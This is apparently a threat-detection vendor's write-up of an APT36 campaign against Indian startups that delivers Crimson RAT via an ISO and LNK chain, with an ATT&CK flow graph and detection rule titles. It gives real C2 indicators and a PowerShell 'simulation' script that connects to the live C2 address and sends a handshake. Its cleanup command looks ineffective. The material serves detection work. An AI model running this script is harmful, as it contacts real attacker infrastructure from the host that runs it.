New year, new sector: Transparent Tribe targets India’s startup ecosystem
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Transparent Tribe (aka APT36) has expanded its spear-phishing activity to target Indian startup companies, with a notable focus on firms offering OSINT and cybersecurity services. The infection chain delivers a malicious ISO that contains a LNK shortcut. When executed, the shortcut triggers a batch stage and ultimately installs Crimson RAT, providing the operators with remote access to the victim system. This shift marks a move beyond the group’s long-standing emphasis on government and defense targets into India’s private-sector startup landscape.
Investigation
The Acronis Threat Research Unit analyzed the ISO payload, embedded LNK shortcut, batch execution logic, and the resulting Crimson RAT implant. Their findings highlight multiple layers of obfuscation, hard-coded C2 details, use of a custom TCP communication protocol, and persistence implemented through a concealed executable placed in the user’s AppData directory. The team also identified infrastructure overlap with prior APT36 operations, including reuse patterns across domains and IP addresses.
Mitigation
Acronis EDR/XDR detections can block the malicious LNK execution path, prevent the batch runner from launching follow-on stages, and disrupt outbound communication to the hard-coded C2 server. Additional defensive steps include preserving Mark of the Web controls (and investigating attempts to remove it), validating file hashes for inbound artifacts, and monitoring for suspicious executable creation in ProgramData or AppData-especially when preceded by ISO mounting and shortcut execution.
Response
If activity is detected, isolate the endpoint, stop the Crimson RAT process, and remove the hidden persisted executable. Perform forensic review of newly created files, registry changes, and any scheduled tasks or startup mechanisms used to maintain access. Reset potentially exposed credentials, notify relevant stakeholders, and update detection content with the extracted IOCs while monitoring for related follow-on activity.
"graph TB %% Class definitions classDef action fill:#99ccff classDef file fill:#ffdd99 classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes action_phishing["<b>Action</b> – <b>T1566.001 Phishing</b><br/><b>Subu2011technique</b>: Spearphishing Attachment<br/>Adversary sends email with malicious ISO attachment"] class action_phishing action file_iso["<b>File</b> – <b>Name</b>: MeetBisht.iso<br/>Contains malicious payload"] class file_iso file file_lnk["<b>File</b> – <b>Name</b>: Meet Bisht.xlsx.lnk<br/>Shortcut masquerading as Excel file"] class file_lnk file action_masquerading["<b>Action</b> – <b>T1036.008 Masquerading</b><br/>Masquerade File Type to appear as legitimate document"] class action_masquerading action action_lnk_smuggling["<b>Action</b> – <b>T1027.012 Obfuscated Files or Information</b><br/>LNK Icon Smuggling u2013 displays Excel icon while launching script"] class action_lnk_smuggling action action_autostart["<b>Action</b> – <b>T1547.009 Boot or Logon Autostart Execution</b><br/>Shortcut Modification triggers execution at logon"] class action_autostart action process_batch["<b>Process</b> – <b>Name</b>: mycsd.bat<br/>Batch script launched by shortcut"] class process_batch process action_cmd["<b>Action</b> – <b>T1059.003 Command and Scripting Interpreter</b><br/>Windows Command Shell used to copy files"] class action_cmd action action_powershell["<b>Action</b> – <b>T1059.001 Command and Scripting Interpreter</b><br/>PowerShell removes Marku2011ofu2011theu2011Web attribute"] class action_powershell action action_motw_bypass["<b>Action</b> – <b>T1553.005 Subvert Trust Controls</b><br/>Marku2011ofu2011theu2011Web Bypass enables execution without SmartScreen warnings"] class action_motw_bypass action malware_crimson["<b>Malware</b> – <b>Name</b>: Crimson RAT<br/>Remote access trojan"] class malware_crimson malware action_binary_padding["<b>Action</b> – <b>T1027.001 Obfuscated Files or Information</b><br/>Binary padding inflates executable to evade signatures"] class action_binary_padding action action_data_obfuscation["<b>Action</b> – <b>T1001 Data Obfuscation</b><br/>Obfuscates command strings and uses custom TCP protocol"] class action_data_obfuscation action action_c2["<b>Action</b> – <b>T1102.001 Web Service</b><br/>Dead Drop Resolver retrieves configuration from hardu2011coded C2"] class action_c2 action process_c2_comm["<b>Process</b> – <b>Network Communication</b><br/>Contact C2 server 93.127.133.9 and domain sharmaxme11.org"] class process_c2_comm process action_screen_capture["<b>Action</b> – <b>T1113 Screen Capture</b><br/>Capture desktop, webcam and microphone"] class action_screen_capture action %% Connections action_phishing –>|delivers| file_iso file_iso –>|contains| file_lnk file_lnk –>|enables| action_masquerading action_masquerading –>|uses| action_lnk_smuggling action_lnk_smuggling –>|triggers| action_autostart action_autostart –>|executes| process_batch process_batch –>|invokes| action_cmd action_cmd –>|calls| action_powershell action_powershell –>|removes| action_motw_bypass action_motw_bypass –>|allows execution of| malware_crimson malware_crimson –>|applies| action_binary_padding malware_crimson –>|applies| action_data_obfuscation malware_crimson –>|contacts| action_c2 action_c2 –>|retrieves config via| process_c2_comm process_c2_comm –>|enables| action_screen_capture "
Attack Flow
Detections
Possible Hands-on or Scripting Operation was Performed in Unusual Folders (via cmdline)
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VHDMP Optic Disk Image Was Mounted (via VHDMP)
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Possible Malicious LNK File with Double Extension (via cmdline)
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IOCs (DestinationIP) to detect: New year, new sector: Transparent Tribe targets India’s startup ecosystem
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IOCs (SourceIP) to detect: New year, new sector: Transparent Tribe targets India’s startup ecosystem
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IOCs (HashMd5) to detect: New year, new sector: Transparent Tribe targets India’s startup ecosystem
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Execution of Malicious LNK and Batch File in APT36 Campaign [Windows Process Creation]
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Detection of Crimson RAT C&C Communication with Hardcoded Server Addresses [Windows Network Connection]
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Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
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Attack Narrative & Commands:
The adversary has deployed the Crimson RAT binary (a masqueraded executable) on the compromised Windows host. To establish C2, the RAT initiates a custom TCP session to the hard‑coded server 93.127.133.9 on port 12345 (fallback port 54321). PowerShell is used as the launcher to avoid detection by standard process‑creation alerts. The connection persists, allowing the attacker to issue commands via the proprietary protocol. -
Regression Test Script:
# Crimson RAT C&C simulation – establishes a TCP connection to the malicious IP/port $c2Ip = "93.127.133.9" $c2Port = 12345 # primary port; change to 54321 for fallback testing try { Write-Host "[*] Attempting C2 connection to $c2Ip:$c2Port ..." $socket = New-Object System.Net.Sockets.TcpClient $socket.Connect($c2Ip,$c2Port) # Send a minimal handshake payload (simulated) $stream = $socket.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("HELLO`n") $stream.Write($payload,0,$payload.Length) Write-Host "[+] Handshake sent." # Keep the connection alive for a short period to ensure logging Start-Sleep -Seconds 10 $stream.Close() $socket.Close() Write-Host "[*] Connection closed." } catch { Write-Error "Failed to connect to C2: $_" } -
Cleanup Commands:
# Ensure any lingering sockets are closed (defensive cleanup) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.FileName -match "TcpClient"} | Stop-Process -Force # Remove any temporary files if created (none in this script)